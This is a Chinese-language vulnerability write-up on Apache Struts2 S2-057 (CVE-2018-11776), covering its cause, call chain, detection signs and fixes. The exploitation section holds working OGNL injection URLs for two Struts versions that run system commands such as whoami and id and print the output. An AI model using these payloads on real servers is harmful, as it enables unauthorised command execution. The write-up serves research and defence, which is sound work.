Struts2-057 两个版本RCE漏洞分析(含EXP)
字数 1496 2025-08-18 11:37:33
Apache Struts2 S2-057 (CVE-2018-11776) 远程代码执行漏洞分析与利用指南
漏洞概述
漏洞编号: CVE-2018-11776 (S2-057)
漏洞类型: 远程代码执行 (RCE)
影响版本: Apache Struts 2.3 - 2.3.34, 2.5 - 2.5.16
发现者: Semmle Security Research team 的 Man YueMo
披露日期: 2018年8月22日
危险等级: 高危
漏洞原理
该漏洞源于Struts2框架在处理namespace功能定义XML配置时存在缺陷:
- 当namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace时
- 或者url标签未设置value和action值且上层动作未设置或用通配符namespace时
这两种情况都可能导致OGNL表达式注入,从而造成远程代码执行。
环境配置要求
要成功利用此漏洞,需要满足以下配置条件:
-
在
struts.xml中必须配置:<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" /> -
在result标签中返回类型必须设置为
redirectAction或chain:<result type="redirectAction"> <param name="actionName">...</param> </result>
漏洞利用方式
1. 数值计算验证
最简单的验证方式,通过URL注入OGNL表达式:
http://target/%{(100+200)}
成功执行后会返回计算结果300并发生跳转。
2. 弹出计算器
Struts2 2.3.20版本POC:
http://target/${
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(
#calc=@java.lang.Runtime@getRuntime().exec('calc.exe'))
}
Struts2 2.3.34版本POC:
http://target/${
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(
#calc=@java.lang.Runtime@getRuntime().exec('gnome-calculator'))
}
3. 命令回显执行
两个版本都利用com.opensymphony.xwork2.dispatcher.HttpServletResponse对象来打印命令执行结果。
Struts2 2.3.20版本POC:
http://target/${
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#res.println('Command Output:'),
#res.println(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),
#res.close())
}
Struts2 2.3.34版本POC:
http://target/${
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#res.println('Command Output:'),
#res.println(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#res.close())
}
漏洞分析
关键调用链
- 请求进入
ServletActionRedirectResult.class this.namespace值来自getNamespace()方法- 通过
getUriFromActionMapping()返回URI字符串 - 值赋给
tmpLocation变量 - 进入
setLocation方法 - 通过
super.execute调用ServletActionResult - 在
execute方法体内调用conditionalParse方法 - 最终在
translateVariables()方法内执行OGNL表达式
关键点
- 弹出计算器后,
lastFinalLocation的值为当前执行后的句柄,作为响应跳转的action地址 - 命令回显时,
lastFinalLocation返回NULL,不会发生302跳转,返回状态码200
检测特征
-
数值计算和弹计算器:
- 返回状态码302
- Location跳转字段含有特征句柄字符串
-
命令回显:
- 返回状态码200
- 响应中包含命令执行结果
防御措施
-
升级框架:
- 升级到官方最新版本(当时为Struts 2.3.35或2.5.17及以上)
-
代码安全:
- 严格验证用户输入
- 避免使用通配符namespace配置
-
IDS规则:
- 监控302跳转中包含OGNL表达式的请求
- 拦截包含
#_memberAccess等关键字的请求
参考资源
- 官方安全公告: Apache Struts Security Bulletin S2-057
- EXP脚本: GitHub - Ivan1ee
- 漏洞报告: CVE-2018-11776
注意:本文仅用于技术研究与教育目的,切勿用于非法用途。